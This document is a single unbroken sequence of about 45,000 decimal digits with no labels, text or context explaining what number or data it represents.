383754680756404586020523177327854392772151817274075236168105411277854965425338017143939799388614857834529264566258268957206778066114143389477751629891581625766298778466083173699453808127953694619361282418092820438286130212036774713964380756941170692705284149725565583741889078921704184265261389173661466166320167793208653951699424940178890835658852637579547271661156209652212707474740980630977930099441517925328891880133854917743039099791703517525278637702127860728091572493274201905076297301385558596622754230353838444855203332139356383885661868174114025193128317195041086736220972943808628257993979293247820320680165150792383894464534920430475196081947949090544176574036665580922177586027392049890634410144260927152492169987101022754770458559018106406984717993432197449352746997198581176171120264616142716734593744270770272351616058550609592876465341064501570233282866884876839453245206758505353714541985729651718201131392328864874964665511730398524250556385086660246908829929061841411875050966646979682016153383345014781885381487637237949563375186477214219329964543762045703952831370584888268282999208107019276466712641482628377224692147289711650326496648824016166093828021218848140546400395293441960521082184658475497677485075091081972287593178921221856049501987177856012254856696383988168915512660939756189003429922382060826566847058241778506567417722266511431485011607696261365098966817979519026659453733937660376326314451386134567317241009856782048999768790629472765723470824217971761869886227109323340294945073351032153570269044597508452983937864777958021684164057519506579922993345471105447597680976465880195527773745607885823142487844188098707987831991356825464538035605257326072199300636322643143347300862792322534485110999723398335040567161983257718262170146785502121903496479978437561683483849919614339900960384265118935710578846611321123196444199291986843501119458803888119586546927432851691390581333608185844233823478816938329644596276671121505423428184350459250012817752737762487674679422541683778612158909053068031413346815558653888164521548960976871474794600550097115520680251860184451836040619212269074757219338589560108327629013839402540962815972309727932381888441067255518759743042080312152354779562473179455701646331518767651046482288979095414303193962994052357765674483789153457110864680003519903532032116014046238249168207487638789504969019353889719349850274973687589933977325456664475797767388424759923217061850903375592313156726046176420409515373100692763609765182609541722779627570265159505253758521135898452456166393775922208061432354987617690198592583232075996484541998471578005250070188686814501186367261130882770184338655105276297291204379228816232926129018621046711705133617873943649914520836084042612758124544105784168413162814977227807769175583550117325540373664895829644150486219607763371717259798313161661883309892365161395999883272790397795853291117131799624109996257176080331872895336212350972306176034371055445366297502338691547707316708098790314538192394748419558121097767335182040865370287077303194552208265212469743099292981321413163114468096660802451980588757573189852831894135655312416694642256478375116524551478287955426316500092027108803696563137953376004481310280270612386076482249787258094588489563200683594896788576169737618398081447124333822027397164501188028004386803798649707928615158208599841032822538030605291354969484846056970620531411343911971254791173413736732916857586001940762993464387360417028868312566188680196216383851963664226465216384920802650594928585215223986900050717586251261943490086944061702552489167540299002107558590588387991170706834512285763401097093738554463103168220091515875464075502122834456526437776727720325751557483517065337248767328609480624270450100878528445278544213095908704320774212524143665045696922308727500597979030094042280145269709720178849441728178466275311740011289279420688256675552010370556599414994351191369735611231440946254014915938547138249899117525340687469314770279989331938470157769179402173774437326647265095968558430855787333443233092236937800644223277674091745257889859357428454874528876706397238979107615799572189815280750704647106886378601050386506064960832014358093095106047471301272420670150443064085187157307682147716896482173737330604843708858698284367788896297141213080863189258232648030207336613568512621148860403811740200090213875763686863405477463128170550016684966460512971899196808718929838388707198559879066066618200802216180457935093478455457124902328037540693316644094811601062989562873262469705206230690225679415556913354205801737998105583275156106273450732813702288056592450600600623226015933515185700324698723641534036034700836828779516699432352676116269112651416506619754374777044817549712269344354687004250292942196487973373194898995322250739843194113158632633211515258031184062157609844065469047736378657974521299262236366467762500506712842760775133194994447773415356131343974859491303699179559626621653172954281687367601482176317888166673697577137490638063130200406906019174907242919322882380718097786623128579111789537136027342087663281070371307125073670338665455510381703907086146452899971479918561995939348385479128175347033886892007729961667270473730080050508101881110503251645350772934608157411873752085914426470745040542142871855749605629906879566326348310580100985910592270591873917725002991202954981788440618863419766420349396437257354064364967196556086735812332591520526664601465157377582115768609327403364554593219028431418703122579958958549594147718154883954996936367768401842704462464349166545586684971027677073343955254784242916288508147826865820548341428127677958623962729219799418976920471395000293437974279799287628764531477017167216227032535400425407356937937379621165997503970125286114153829093954970035647928717990060775312697591929633248469451613472882764631560272275131247795491509980947109458135174360761514158017101422298256858175368378653856883000613191314807976553035275239191400266580156091168938616318094132741435648714693322701362720595243680077277427118883247658185414826451789280038837635228442133277538155961347824227826812179314652056658513548009650888006165990263896972674647674502590249016687809246823151249814040425791399898118187039741170352391720561377842711074490312774869994136026508605822545571849299066042983813014915428379359694153431654718349667929077736522459666362953332829516596187172668153407458813629399558041460045516194893103610296351078566835482858193175526868309097636868342043667916397354912801377245662606431452280428850465141472283093209273388102695332518980513489255896772125800216887313008120146642618225417003411111633403488752772708892059871752030661988868439931732502568024736478560031676285017969285714951329940715900657509218742835377948501130254132246539582251004812395656345320747389689381283896143966689452014285729631486674666218721622070203117823383359471212416385656074055749768838199593112913072938074259598511526701067974078259924005967425214583423298395259177963209290747454946348299824473851196390220262618538959585508536966843921548097496347211127309552158911197354853655110782719946380276902806559412746079713460227347994527368189958643000751148767219567598760674918309873061123427386956551472607968800301570566225239533711635223695374537868601733859210636223168776196387267563895673981616438502748950858756789242173576398707946339715129265045181258156694716545558426338637571339090460246182404327312166022725519259898318959792297682238745673802065461927294283446724040606459055263153602089608403760126305127010255974166356835189669657797299234179626626637253936241369385993860099969671791179524636113483814432751024889843681707087047749891587202731481761069702459630449799147996639546593836620563158728723245985310630770659635172964270058623545527980400130493331483600441663784070648358385261842527462514989090316206174890568921118124828804276702365583097666235329028975027741788739594063743834256566227512182913762145608736517456850374670680278509957090110335703294157802935752290570421746522563941080999044215429796129923095352062645853116780566702378385574491321234075995621644702176016155368435821444100662109568451956749984683612507204883882805706472253763519020745496996867599623092631634545295158444887825809496965816789133173659615735848389050122772034623566844250400524207699855628084884374507571559315990200606592982857390145541016000968180883174817008064222359767220864786455327399312265961658145086686125003265171961203797327637173190301266763297147727477197458157660322575147027878371073669583246583835050280196421580063657083014039255973312858091443787172840440278146723507135195079369668450897234136350151339876405149532453068576074261634256185816229569879529752342040025601314833031079311132779355264284719007691035304458507032398407374585038349673696081479166649951900095409947658695123774208087939550700602196847506157374214113833004292033075353154783457642968871583668778951192396491841409676317879125951603667517901675671703087572856359956435944020516421784883451139155031490627659564751139526987647473840641409911030835682203820938758810018234446907481810556296446594654605426585450769369297060604574926486751547348139189139582452334100601577192068172841048311466132640106912306921088387889557427806226486642755897065144248932927681028146435638760626280790166857106416494431861831345175963625863575604028463669057938255251875357964891634468803826947950295451187213196994007378294690056870370347560136312589026632235154312619716068230823073262825685012675801367911300155812277340783556653613922198225786868865420375210514084831860219561650814922020317062809039308380406698141492664909077663685646966446770212095769642833921335031731826176983613623230581697831300720362189163935674508014564013407695978214286020928773805326472580733285532758478841632164208734910050599750896138239761146057734853328730021099194964857802346288150108639968649207874452193757204363797407068060505816916907210966193490555492295924263347563555366272564126209535918430200483196210179487344236813762760366706300543939021176503565937247846426148381133534098084208227005283233151176548722400086043494366937512879047823135353684505639081581271805657793841487226672875717796693463148452955605336919862543387366994110066641100866468084165911385772452285569785897649303286853046530750010139710686707504255240599755727239317897025449183590972665378640194680793896057597382788782010516023206597145819484605190845228853614733258287452225185907161289119225181199586215967718823987028281612901997708992957544086265004697876591042700348077051299385235895103373477274979557626220065648588942464382749074429264713368330016291888832539605693766902640689213011002077253576078651315729892093747157457226914632107500185607117633382514774542286776656024075641413739549279720940922238182678275051427485422284669058243674810210369967799047456804411362843375937871866343659788071407952259625812896866457033775952181956391607859673555974732640382177231691135202967440541963295225182963691280786599849424409552285675114711283337697715449671727603528212197206697108040496270361240337344916244556448360929101992750945084327797278047298265659631667200359903277525001327308019393435976831586240913589787234412616530839623147927804533353648881443022135395084600117697937340682377143232964362928669782546942091424974653946144498246775796902865737322894883573402577848721673828644048132020498145276164293563299172875984164307616577621794220765648856260031445132657838777557559383024480261241134043184808229227860787360673939327774481742594626644840579468928286377633346393263187364020667111618187903537066367649054257884015631614944183534677985291470303913833429510563762474658293560279697390418694798873597313328191888751902894718152049448969874488618328310017667568578888295243658035526296326651298788312004842486598223600498162026319827841441771580461444630155990702801651240595305665883507079996371146587960758189783668131932585049816799654980758090405650201863504140900809735108727145777631478394700147604064341322148946714002790679551634376157881953089387963408328345543595966423366088326963886869536244772959229465329263956265060750012665317433766881625601794767729927317461067270742944431701805013083897907162310196314800375952719534773452655526857635354038075740298688909006983174767092765959156771276277898995848477960025767170796605952669790905324039910718068390659291957569433887527065489450458100764741409591331995053651911022422752113423619070057116719055388154675038434532518987503161332515880787933866417577261197892470124048353246027454628186571787618475210165554204708821449001369745552270362961737664634171178703146428208509333742341930435031512416810516762930309880143927133760163203339604209417168124621160769081043914413715675002468030464141611031036917534316049951802198735847801187256922779827392681647145716830986335891713197980846850303931917105310512739432629387808396100374384507582739717415944637960577693148562234979343487364507733691466170555671556469049071255304859182630795458835768208974328154576061952460570840669446647351150172243633047500359834210148963372850473965034075888514072518491053469558514806064460433237946367842270771891485329367198290017381483322769207986511395077756531975088503370048073991305419963142159852906343236323988804249798102704713108061925595363341624494266810003728340975716357958501190987570829005384759730672386502636217793427023593720371414542039472254761875588207660593699722171407900045373518334920532384353042663578706321381423409204560618183823408522605488709919616303629514972611489043464915384711847372912792157450239691287129775798520429514405473035400684447043408054440291911950824639121407946100938565057345253429127094491293530915955213362099487596601245787900450546237043403459933262232928413297740233415944677708668466022401707663499275303666231794024083561584918451212857770880741409200330901083422685072840718454452311068393115229328256623525874950975700458133451461138418124726211526327387255330955642999956339403937048149042319761608583812374661310577977134739712241516510961840999608325878405768275987715392302983884745063429789852290427352463312489036519711876895838190533242630787414152692881875960434826730803891215499488777363037470838193374340049396257591241355201209926567728680834459539905661601890144948123708384497214394205015732081042884182961845148249091882668681099708703047923679587063701671800229231948352499894387468774031453219080739179969305464068983527487994013518024669084193138123061457845535637848324503778867106826450909500612391533442883661985043866674079596121803045317999005111881892856970318068280913382881369903529800229775184852442846494833310595508536581715321294676530155108187956790808043413528941215411667387279072838260085665652529626895802573418767816634845656500589311368584471009779330357021895976859501317035698084676984601369775852302646351731672473825213376870202679601074964394996740209462913943977133688729147976037456025448331152660090374182456415809549478484225905216074923814875662861837623676702260946214626390671877843972012813619999848443344647722641464811991669387373761220850495568854450480162925120435633502933779683616360570290493183234220555828844975815489091350902341737172266559260701996057657134407272340480730364616398079739446126098863400335565855138503938755459719416674979829504056065595716509001808092757631103099586537789961401022584295110261122847806031402489306816152069559084497786570414126677898048756653532503667618992957472380271383004062633684600504164327181221960052340410106912767578973970958979027007137020157063262105173125146592081724778579202543974012052570212349871634119849725134845693595662801836825712826522929612856723132555550933034383026204073160535732074012763363381454697023826695617893280609152053635080518936362998316921292130533838577238353091309423157190749511709975317485086831055479712368596018727269894892010277540842855355854771952203165921673222289256441519449890854423701566140271505912714922370643443518077202980749816506576786378810620904340626579739192379717929216308678895615657683566951588485273224787034054375515397024486053070422547309282260044602208333241032531808193352386839316542346062630296798305017152095570490009731763141781805436574669958413581257732225404832917698088877308372917800606420258371621839217788518876026662599029393924798879758757304782956758429952487167265173318382846714911684137409236444972633067141008077250008211622670009051339401061992713309331928339866853638003098431278692577521892556545313473986224188019851587315398771946917300337223586059145474417284794626928757853161183734646955289192374544640230563793442001050727658752456636075394195792113836805672073883745330507404286682736338865675798283940333046164307737807506255930655705232509878830792385907395625146060204262183327217899327919120153314315462403389364062891807368044325682155954418820970602075989013411493622814082510179370329418506868585783514338585526487198854138329452979620215369139210275204196815239481135883946744848576595339194243905450949677707196140502743798723217372099138583477029631108387025458532471335197665714776716931452777397465637425844348049685267247367696080782072871201385574020671974873671450228606654229476401838357098565642012215762000546433770585412643376177907634967917862836477870129112813654800262364610426980988722567924653611536460357694808497360104184629071907363637470383243776483333055095975394204023157264293993701817455136935959966243728252576139853986640722126398427448088251862777786466436614679714520392933708348561978370435494263305159925716615453625697667381857751501960021788363575090815703443213019786821186848676333552521845129370986863124640030921437678106385755479975556748960617470714260374577222148719065175197952227705441485671620020228548495165815010376294220489699620947607629770102188348032184843620282818870070827559233337508196006677800788698874351548120011374557020426256339306065619791626317524277027334058589215109889601684316568859532788584040450069729786388584409759168328719745634164318085883332752802452663983819723296666110957908686167542323474576746126790173016734736572669236679986719164617738095330376513311811940718368079763052823520146731043078953851092692382097590293990217049985984916855796277216331870691161450850062552235801510352997600867568586147668505500641306641453976726216292179294803210921301721367812806582810927232633744246389545401647111004344526501955959306217435475620671870218007717458581344025682990230509813343067312210965064375326035550806927608156888801995996051229868221707156101346634663554735702414891060514691647315205624379066033019337694714258281037937825508545699765370224567312070969114882406534022964105725869384079279727243897464199526036624698022210950239980503402408127027040514781632307847947916845988835996799886434965665098257870130483946744011426480937819467994060809995236654247599109693255225892609763309839526500453555398652974739210304406323053547717570839261702406529432528132695632649142476532788945152165634355827162527611763751687776506876036352715972529815106128145940461909067225297151732231078729313384950151007102034606118513089847308567043166601712565467261635470483550683887590249971543625127957116216569191336996879113989168924040485992525416512725111093429521281023430198586902251102022940468550758446056081763891344805343243470657028106021072083203547497923829724457460617680631490630477165489430387871912959818109883885212590448122177021251141350941979583602971990408328341378758067945506793418246568222587059430478018235855460851748942956807350379497364457276683053206966912815602869563649757202546793858705626137756437180407671911815456379095125826384300929029018026722050731467267445610155614806275945299374732210366932670547397841098346141254181133915082320935179558895839493808817136186443434608961524657017026380000672694490137944757492089547709492574956665739846895824528705811212240249773460411009342513502196927699520034644960105070941506914031807862867885699183658301886101190476115490949009175463114228041806174077224000884193530164739220252260288423791379636080146929117325541164303463204857043723252655436291774511027220999263899084206475595924039334038527308385620908593346675324335386930393436420309986358877633692139051213743528221289391142689604890597196051570858091158659172487704397925717842099168594627941164995020147357663620258373700133988606314757843034217031132786741027223224480545058775066507901792071395741485032428363586649646763158412006615833784390631293859964617711875503256179152884795667801145886648526777235052491171765575152855925457706058828359369444851164041000699400987216594532454183213511684358020173869610635906457269278743915184104854714888793938552251243936492524369182350171826982395576665857161243659615781857794347520158431112779968636497301989417529421074163316639478033740878687870850389115277693206543309890510762376576353571868192591330576770897257927178757404132887869224732384857478305115806598353827268801125519590413278789829687897078741933140254558187288812141498110674850850207163014577769884456352557247982818926811354125793152230722269856512769342778741912244347656294871735242325428127268838906226906106831103913239316218602983045542298867131970150799631256824458281422926168648196217072840555654947263049698682355462787428716626550672580718424987242740226775209852473265809377786540516589880119687058362431238944412422071783020152637540448601259336401300101614959146852600633148000325980481002047802262905904370623285923290159780786731486859951560821342515043295515067211712574199926544206638711836545975062636008445794946593760144463043197761533028785666298556808491145061898440347812055601725831954037500866161694564857595335395126250883707108122246602134201754310579895475415196229753796912214952848930537060008376609293258805808710361397349305758033498870332447083340623259189392419106354349356603589951442538684185391070337475924797022883823480453898693475762474642419705157392894465095972697315652944081678262519521906486416654220136262214949555966162901884656949835535752290277138623058438634857990468819673097901130855863298824494789104452078855633084197624250219190159482605735204307749698230171136581131282790529798473371548061063952294710830737504014195728070350346251051651919767269762220244068370418424203165103112470041814484470823806892178734879226513657966044041589852617278106766408573789099334979273899835130137122362585061874946510608625764391780935801566781984958957435631941475725673818512744447849824498240323534274671353216183610245841529579262839814665561906093703675011844832504100062618991257104270857034535528067645024430817710267246767514555574562205352098114435252945214071202671197884420164428059059207229348243506297791779565138665872551774891787268879798190064670799111000740627771329087903061799693954900604567376403804680083857111349072372121254008237074848358977333586214011557986605681092293690461250515607003352488495623729538534799979929370250285067810274881953736553799706144532205894843519789528509067198429021582935606108730766702956201801335100345118170515733955336725100657592688070632015198082441742438789423922316349003353048627833190517662582448528882004332801850210475203919012986687439977079009447362395268569050738335908819593043445082596050847926364375099119343985484413499215874759869856142572075216377376649895760867342254651575164045632997158225332128587781379470692147818139337871896052369798341379930305127532634011175901978276815872048374581884673501931886879828910232080373710897060291532371968045628370820040049181928771972623195674983712007516867055173427094786913685728125871305829161794297006538658176322264904746935210445628719401249870355781717680639031547784340310848831238626831247518226788534872186895571394336718700400104305097552469779922334223499674800083613620189618221735774463344965442804484688810200134489244928161624146338325342373482883208739942205168081253616308875186162009355191845221959513587777713520906493589043254226488831022379225346431937863625734392255513745644045016962047870585955889342983759496389060976845274802214252698613742558681439994559001130600328292952154837113515466890883469417265892294135728075068896713014494737111929669220763072430458781398610870536581594407159049780729850885902241616426271875376901468286095258168319314928714196527179809478216029112201606159233601736318056820429254516082165669408161675772680685187782726270954218956181792563649910870745447271548961078292426817960295246204275336599971666954987392313956202975502505560340389134265678091259283539127432797521758287946109956007714275723559350331473465730866239366607007838182896376834304248923095686864458441457632187621949726728305781297336075605992819300652123019663282969899279082750579294513989149653671936989728178280612737797447162161122265929479262927269108256232598025121949254817134320009842033337779266160337539477459182134904967969855937084416284314452087244775693915305239253899618076279456584142289338299930206535605228887436562026147373921236435137476414906294391254920835494322596294046498192008331867189213324912316105611408975295258804099958100578005163404792597994935284355319322707008870898446225518894768969073632005110659206772221185248232951425521820325143720981583373841950186653685661876142492114887163966744491245888733608452516306216353410769919200160915911043652010387274101240507368050505102973851489185619955777664523328899437446655141576459181538195451532278079962609042267508217231463580056291502465593686455041679770064916139439286408580884271100054017600461387922852559122581556696078656882695507202848105499989326349895439187314493305178634325727085220511750012495244058548109172070735370881979964187351246418838372512296171444613745872148613701313264830795025129146223867622426562437858254598497847140287855015057734732250447417533441247286513377916031896676581211133509132409177347496936826365132460755561084865610285455374517420283366632403454863048267414299814690816007071255580859745877451491550611008535788313485397850439490858873667000466711431708838661156141500861165768279906225373987162742068263420242854564888549546812513450019616118727954805107301343644901040514406535971880172159149170199650444866483914461439027785062564910238409797023992119278487630700707089953085388961587754440315871217590870734530784317083788790112609899133195107132615323428890488957518699717221007438614666876300206291755386024276737424120318879433231628609989057915115103375617967886092903906930657303202153022516372782501770827728610515901450077156853921674056548408039470235814471177191420899368783786006429840928307147593619282237283824640399721799944667415259745084285251550911746834063828430456813027328546296347721582059900868594678038446087710419946858142949913270785235756101619345279937652764105004808620070246191278974793654214225154549254880796485915712718495184111875281186043073392090280104571319204081391952413320900755337242567097504235928382862720045617381302086012476349861987171886879570310925750699800820436852827037473730345796538838209033107656627365495036520835909519940336884185051288539388792644071206450298994099817635113284148247515701588146871986115270283810198322385590217701962649231685313590281464869957893858632537336113366274718091521983940666694420540984727156314693403115341636151886314128423710518600773309921306022428715882009686870265930370003822274461435025140452983671971676509250689607222650965639131550566927457641390269072732811453100854940643713870942482312698700602270115957925756302055853066427139431197627622933808608926942795566907284876653555691277925698342544090921878607002081363000951182456498551963783174098801643595384888578689994597706976263262763113335483020424947582900864458738905214037844094443686402096296601705434416420816705876009845209959449320840986270143456955538530414697941971778127327232400917491247863744657122932142707745413490499752820431155297759214938897765516242356392287722332266014394604068912567836914431715575969374647456068832678249312328439674845605303591651449771980163739381967868181405722439840111152629379256536832625645004908097143147688575053284628491758266429278635813287411458620827749434470903019644817172158078308326251455307683704991658329110899094803984906712144898270013690714102237143811982911525517487805973546293793073241422667070866413322147982892508113599944723773476917535786847125623619286947685831577655727260161246382676443593740947445354033223696027173395228197447845011265052173065405164918279441722960971364365187534944201256778608093233504677876895732663181863259217429705909253111976249311560392202496960110074915080770355545890775470212821271164710662630747109393864953513439183981038417131083616093470811351419778737842733656863477193743562610540233870487678015735248513517891688578957422218852785200886744907864654447424702522109000627046189092062670830398206244940666748972566781265960424130729527621186995157661168531878582561615879039946220978682405115256603592531163376090636391740623942814361603021924681041532728742129372731623088282862174923931863365935677879687735976011675475269077513191630425248115575933188593783114135343279313715803357273581408339153270198805932558100208994287870164304278487352522502630492082555040501998493197124382424922379112485187819926962721248393821667268812516808018474894470334655889238570684907358661165344210165042723394824721455729411138544863061792252172694752628410322483169199835410082761452737572417203151387084374184454380396340640397338855339369379208900328489544330036716463147162459489834839547153220698261715495066979707243350766967333746801384350578847035671198784844677305160389835601598037264343939300092375977357611320832920423644507305941584516445836948558608589028334222577387409614395018745812704965094703954724903911663912947228205461687897980357830161919817049015271897375179874701306992254688765710625695638440973762013718591865098574640039844358923708213857123789835717613439175553246742155842373638891602370233405044690267600951915947845457837134015372093108464339915031659920309141126019366169710702563169227410517232152708988321626501809796176109896634617958423827791919968423729488123063037631889331929969126827468132906441514311961752783071009672243910863667413011394667195897502764682818832340937995377449901501446187175024701559731339463449019918311127130253889151087078677229879059708172240781073587152646334973710113434618709868609128011436924153806132507974586469808449538546535711162519727940164146442877617292628749493108624854318212190921478247776183413885388774157848659418613878357722761259525239411149207259775493927364821224393497755703768130683020658213739970204318391724028167875498849319005952269313795295837926050433426742804770059525908648438478875437461537040834628265950082333943823034644012137092553631372931164831322647032863797496665544551714774901499157796431047389074113546664446670124281341266112676579010105579350158371713436400317341826630644238697176213412066202957506403098008500596577494024945159084036521181877227201853977356414232545821873174137657213489983508638081083700776104542775836815402401867713705722346115701594790208375063710021543377138178255580008549444566473036512484505019652990890385423916487217529522501873401182777752555117020640815849040650599609981596099060142127149863351866649175349962801753504226625293633907416054074720161279339820288518767473514920396493194709736374144619029775023846355313483618261625822695612834176365675510961584609573428153685705947299164994562892454367547494702581112815533980133666962867399045589818091843471978290744499562278190467279279242691511532411165745171158100647272066607238387576192568078207851036255190461827573984252756541545729609100786632723110404746937269825003686896367128548681730529577619606261338783833641059825756760459667279870880197678219879677523567612016429316122800630894071780893383903264612373953619173942540909078195607761383993019967191024590419670735103422083254663741730451327256104799317656486959557274125713428468706039257175950094501126848910317026744150030770321226529332672578666573351567531722373407327283675356589830279010305541051651094782005864144212408252886654343233077984820139480039580161621035218241957562624446815018798497212216799240229251741732763213569580217736564326043710231150701220044573298934481242114145362370926750496870393753374324995948013416655904699990364811776175390609743891742054285429290180385230656410341581701958322986669427899591137905713675857253572161374163705149040215520668504418018208546231330033667694663778127015781240203327631678208898920172876812830809340785777450517404660601252798865139494638469182682870278252154837387956522180473787157553575306315908901377673091100898007517629908069133712886146763036375701614704768995839489598053990725118282385354025695848405826513491380086605726140421924010070597494457055861715956022982259218967665929208600006806721910322086020839764360010660321406324249704901440538687923886790546445871580415483969481550975020670811694009943608553500303975379140311954466209168453536032485236879734802025455857535344302933252001404126244253599161346688493578084160009101157436273835366942207527417726478713323886848068154114858129479023072276699406194092039664726890340850734188248126956676334388679188568513100895717280982548143120351432402183832010725932013004049630441413642719895989084579096408209555892478140359711335164047982866363321118534582424830285843395072493235350970105918787429643887285431609465518095732590841028525683274512545445778138474237073056738874057183243383778984462724466083056929992568154227357303333220202346692816790432501866510687830444052729834026125754098709362177492016615661672292118641602848986671946966299373566235325002346313635754460024143865322055394271143514659793465330063482489545985489004486363548134424271562197014882296821837090873356140455366218433587780694301918123879571075417861280387711884077179166253678600941644386332641485511942447397387810590440730269355914899116456269736625660253386968627416782277058959510778023027422229347849002350337883958999462447798134104311791912067799887407100569799924684490572256776362838681227388307383235906264093380233843630510583262805527948740029588354749492856772269458509583094101784090883463359597007458136203318344483443447221944009314806935643389329604458808546650808358208042826791893815690838448942706900317702433186397027735654784776813363262348403781967616784497116221726193126069961246644811356299649127988309186116801425966458709621978851995261151967088581552890092897339352907250640447373400368510321426331652486431775378766015949132910501547202210953513550170497463166747112138294615292921333261010331263937455776937959903000135274035907281014988873812346031325350579733010130397986006048179175584209431982768073845158937657470827411414783777382087255263947528860953607177057405067762011612588027349383953328532884870443265661118840201620987998682085309625162194273863883411700273432556223238559261249972300257987934745320735054897301294872511343242351037918117006327212899372130452833683090548150415036191427682284494384314342977287888003205191121805042588623941595289034768525521716105519662337533280543734701622427099030659850935903140429802947621142196086880777118581446354985899178075058954890198694337706835181607691198286046415096292581817302966222845373606625378672208199755637562486242951899152652792116146354370267585288516268469077988457111264049891565271716370579288310320524834204237002757938467444418014397890666980641695468382688699601726150948232043747250529660127884368485407950312115905848067519334677607947322192429328397419032423220871247074540322304869918500299139724456331752466510044661722307250648578274386231761561530076599180228845727397149468319478055883866612437459369099509418353357273876749426724271850735383620398333613650999105258082871509406928537709775603665782331410170560064568059665815437958978153430957021082477342646939103118703005946308488839148466447362856692382906899280408429532754812794308955171576834714961764002899871839050522109255499459418415399060599059278698651908170731025354316348134237082104338420446159500309302253851320050217725622295380014355907141972142120216307307755433218817340789817431207237540384310553521193382764650320306281924238060536424529582587059303976850366680501901219020422558154968616535777537979941074199394768340916157329221639267379608401137901783491703707544214733801175101672294276633240416747428806584542313942792553875653390897879879651928195432386525862182410434771501161096730664550047500524338246193633077169090680655415617577127625440016166234079723796202071108830578978308609925190096502844996750052006520053530893378947746989364814582333514247789240690855394348769290611174385043387529372240502432048438331623560157581895388523713913857572769453522135011976943663428609248107753198793255092117028418265895180823375361303446848884066324800855606327241458432754650918692091147674733830765982272131600415593932700005188549793085297252806823952685520744318537234787564140587261621216016113657483067992175390648451321365044205923258505405792864362745905089351373774500990149186769826105382996273641061121104487061177755280530114898457519946555957429491058708835479766036179086569493719424311894459993866835682480261470580651136792001399849351385540885661289321875521683888818292492935833876448793980387847888106137966069183540992954138511565209986998485749016299612972860980071722414477217679534981461884995712770556770162766904545097232796532315547657795081877984318479696979509577484903123421308679485396986903943272260406724702006235098332469498973912545372524931656678627142007244970139919625698952040524268242447033759114378369777343885505019215721463493135221045908515072074896121329680264314296934062677210631897119282991427180310826016633990540464723315191319674898457383218776459420544341865986416596097612992441564222780851223039978553930060131549812333858093176269756093915112551408966454464253865347522541030302797983440305137965890649930792993553604120401355673511906010161188248144469459587270359090678477716221150096435642616236979672707660696151886737007921781670192533701897663328361178394697073158485027396631968813507231076319358120741737924945571520321022287295892713002906426768323879970401536249514893840115690039479594549255629469188966481013197483259790407622945654920244779841381383640159177362490951100459436528548257881592400613536444896675640217639017698493511567781136269715762447287689394065988869680311304095196832839225687329258407780410224474344467719089204700762818217047423695966052148871714162354529315758613067003447647846442862214831506005399920476267699581638160665140296686963899815063993497431937123111511629988036500733427404729041481868944582524431464375826413712211357430253347474589469456339680695589044830186533799852621404709775756457915908050664753650762950571733030083515846423791946151732490091191854114961848202712688995468153138566034963377480021822855511515440425502758685780902473492785209878894744766127561429465273034142559894488135491771053803010004832072384862654126355458688118819877266174551130239399493565109906691209143732788829550415665973657612647890865606454221424455354375825089187309327341963323833962004674767466682622292586559616221409247161028887793595907198497570874898662418784115531976406939604914366576793264522822989637096674596404291870621111230366045085425791730555559264839130996461197174599157897635591175947244985794742760772302299297315990345577325999657936054392260528842572143719485250472325843695697449258710979333885360549971942893035712281959484214678825005520128822430670254558232463340263951804562740549745172647213820917718546299982740530966706129544844178486538030900665114362762596159169602710049448938730052220886891658644513400324931833154471997852996948775211350447751787436625704761553191148749962166496842853252807347108477261850280204862093992010500287991346175237628397933262628968383948139268531922897908866535222936930730884035279692258165663356871554869632521452279121595776155905719342301445336439395807872702007519868544895481317920240227803924945738847687950259779745740423321204076596614927409353423934044130753584425314879204472619584985819451117807412802860416977336817991745596326873839397057900000644616552024203324929990904158166696445486439935205185037394180373495105816393049749421477509866523311350243455711384331933712194952059367069863449184950050165567306951043200096585791933670533056099286303121853519610606370572705827775951684971413983611322202803770576094377341049143658269973883203038896704730137241388630592783444370828274325190588354968526130399127485551504917975281960142039770349877024166838812909786120194541347027294958305485167216550955785362006059953985812303098443250903082451562692107742621203309263147319988848472415306484010304473165738802092459902025695646523216172354127374246137182710646080366340532775447672474886493937129348665278225158978216121520271483210096143844345993393886090932717167483971597816208613211421168952499070261329985944225948222556919141514675778823299160150671088619014573791266721617604195508461300314803196531499026666129813189725745263428479129946658032422693180542702695816651889102746087210773381132809642930933789878310672096444002615265202239275475114265091560605197162800358705540528071939638442529585552753452186376269101574005020662885765898281988912234353896239428311357791431303722997916430872749251351775195777893044322809894703736318611479160122783847675168917918282308364577638908635414208137110207807936754192291825142254461678638471183879043043514564875128617033934803573328405894917178665975770523755780064271167722528279175049582711313874464875481972530535609926713866596483199772796266059484915061605329195179706946059369427837755558091912119555619761977118017148496247645456817014169787875732584452337185729238164750093350671275591134026891384814908887510412700992073682874336963149005651867209140395032443508316800753010467671703859935848157950917655677219289280555444476643250773866969812167694004685994077448547804279392026197038729191363827922110262642321838710626772830481753526234485345097224711416659521934644477054313235116634798678810434709213308722599831196481502521669721125435793230012248089756788601616061625971943368059783003081597484842465636332846553235133892034971416418540545349633001510567542925303062084435047803286786739319085807884727071687821814298533020365490583883283296516971461257543862789622171870658467856874174896964022045990116428017127788280144167859861562161205030752320970930303202445730151795992602316225880786059762485874187479725340312848041054962660731152978520596090581271335662883442308248376746641050804776970182671437317222479614476630029986631818611497085634522316980039784845632822773649059778602749364602157705038296229663616296060028700579534047105592760754688452566245567826073003921277610707970719829967325266960783772627482617652067081016211412682379533317737156318126459306910495238724872967720029956966133052062565424340316615255501115225629941330770877226634250578903057477915610206325072009335609630145349820972489734058258949519310588523397764471188767607726308100871173609935265476722460160053328287391686380222801809499331601422682256994605926395170228015614100592383292146565258440191039925132711559437258774225471986149799479899499042209100901723060696461674681443484865557905712594080334619783288894193895075900489692445221579691803866393175096117304282006830120629068807514266851936805757083830316250825416594289352934445554659402856140856350362280993227109344052788250574719234613949389810249078881709181698045350214615094910337957636885008885206472905696464223331940965512253467605207361970524967084731360758067435837364199019325495936012849313705937810124792470665280797425547780212116170154973288936550436240468694509213189403490170826421185685859363208491300081466061887248693446713174570795959875721695367201171740096145296009456106645486043331904023983334214970465808461703484750737758861318575934355090190549826210898850125398701121853477586749320691762400527928324337799448036173220717760252935829042410631217209801685760745486739499817847699886916632298560483507134053455862534203710389276056319445269817519689411590088314146643734889660446530669553018330417173894681007409435738703582191170341400827132469133052781084096633135183218362881532506464070958310985688758413927053397608008295746957853165477618793257678863069508234490586973250676449823721074932232186790644197252446718880607922018267087836150442999860723979323455014938172070432002472799662766344944760444516640520452433848869099558863598729990144659960979416273878861913479225682719999666051721673955646948192491543297194347512626902727055727510545257041492683688489779734566091202005066224254749720580381065419887289512394003370133481820735617164057929984662947642497756079753783101057814487675765241948880432078285550934806678818149042193362741180903726882041637329187384061586939801740707289106650204727319975390541914507374704466719163984297226496270036722125763739155306550895495248020423936144792689822359867354811554170194065412159